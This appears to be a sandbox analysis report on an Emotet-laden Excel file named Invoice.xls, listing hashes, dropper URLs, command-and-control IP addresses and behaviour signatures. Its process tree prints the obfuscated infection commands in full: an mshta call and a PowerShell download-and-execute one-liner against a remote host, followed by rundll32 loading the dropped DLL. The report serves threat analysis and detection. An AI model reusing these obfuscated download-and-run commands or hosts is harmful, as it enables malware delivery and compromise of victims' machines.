Analysis

  • max time kernel
    160s
  • max time network
    195s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28-01-2022 03:20

General

  • Target

    Invoice.xls

  • Size

    47KB

  • MD5

    3e4821e1a54cdd0b333933a730f0e769

  • SHA1

    35a960b514e8b823a8af74c70323681105a04ccb

  • SHA256

    f8ebf8cca5d8d600ab9f9d9e60b495f4776410c77c99e38d4777091b5d1f7c59

  • SHA512

    0bee5ba3825f001370226013acc73f85e64f834faaa5368c7fa3ba8ea871a266e76b5f08fbbcace96579d556cf4b19c13dbdb224ade5378d0f83959e323df6a8

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Invoice.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4100
    • C:\Windows\SYSTEM32\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4808
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/vvv/ppp/fe.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:4908
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4524
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4416
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:4288
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:3856
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Axopzyychh\tpndka.pbi",GyVCZQPGl
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3120
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Axopzyychh\tpndka.pbi",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4360
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 4908 -s 1660
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5020

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\QWER.dll
    MD5

    4be9fda9a2fdb10c36a1ce820b676e7e

    SHA1

    fd74db40bdbc55c29ec996f32d7b7332088f32b2

    SHA256

    f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1

    SHA512

    878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed

  • \ProgramData\QWER.dll
    MD5

    4be9fda9a2fdb10c36a1ce820b676e7e

    SHA1

    fd74db40bdbc55c29ec996f32d7b7332088f32b2

    SHA256

    f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1

    SHA512

    878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed

  • \ProgramData\QWER.dll
    MD5

    4be9fda9a2fdb10c36a1ce820b676e7e

    SHA1

    fd74db40bdbc55c29ec996f32d7b7332088f32b2

    SHA256

    f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1

    SHA512

    878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed

  • memory/3856-339-0x0000000004860000-0x0000000004885000-memory.dmp
    Filesize

    148KB

  • memory/3856-337-0x0000000004800000-0x0000000004825000-memory.dmp
    Filesize

    148KB

  • memory/3856-335-0x00000000047A0000-0x00000000047C5000-memory.dmp
    Filesize

    148KB

  • memory/3856-333-0x0000000004630000-0x0000000004655000-memory.dmp
    Filesize

    148KB

  • memory/3856-328-0x0000000000250000-0x0000000000275000-memory.dmp
    Filesize

    148KB

  • memory/3856-349-0x00000000049D0000-0x00000000049F5000-memory.dmp
    Filesize

    148KB

  • memory/4100-385-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
    Filesize

    64KB

  • memory/4100-386-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
    Filesize

    64KB

  • memory/4100-115-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
    Filesize

    64KB

  • memory/4100-387-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
    Filesize

    64KB

  • memory/4100-388-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
    Filesize

    64KB

  • memory/4100-129-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp
    Filesize

    64KB

  • memory/4100-128-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp
    Filesize

    64KB

  • memory/4100-121-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
    Filesize

    64KB

  • memory/4100-118-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
    Filesize

    64KB

  • memory/4100-117-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
    Filesize

    64KB

  • memory/4100-116-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp
    Filesize

    64KB

  • memory/4288-325-0x00000000043F1000-0x0000000004412000-memory.dmp
    Filesize

    132KB

  • memory/4360-359-0x0000000004A10000-0x0000000004A35000-memory.dmp
    Filesize

    148KB

  • memory/4360-357-0x0000000004880000-0x00000000048A5000-memory.dmp
    Filesize

    148KB

  • memory/4360-361-0x0000000004A70000-0x0000000004A95000-memory.dmp
    Filesize

    148KB

  • memory/4360-363-0x0000000004AD0000-0x0000000004AF5000-memory.dmp
    Filesize

    148KB

  • memory/4360-365-0x0000000004C50000-0x0000000004C75000-memory.dmp
    Filesize

    148KB

  • memory/4360-367-0x0000000004CB0000-0x0000000004CD5000-memory.dmp
    Filesize

    148KB

  • memory/4360-369-0x0000000004D30000-0x0000000004D55000-memory.dmp
    Filesize

    148KB

  • memory/4524-318-0x000002A861310000-0x000002A879400000-memory.dmp
    Filesize

    384.9MB

  • memory/4524-317-0x000002A861310000-0x000002A879400000-memory.dmp
    Filesize

    384.9MB

  • memory/4524-310-0x000002A861310000-0x000002A879400000-memory.dmp
    Filesize

    384.9MB

  • memory/4524-305-0x000002A879BF0000-0x000002A879C66000-memory.dmp
    Filesize

    472KB

  • memory/4524-294-0x000002A879660000-0x000002A87969C000-memory.dmp
    Filesize

    240KB

  • memory/4524-275-0x000002A8793C0000-0x000002A8793E2000-memory.dmp
    Filesize

    136KB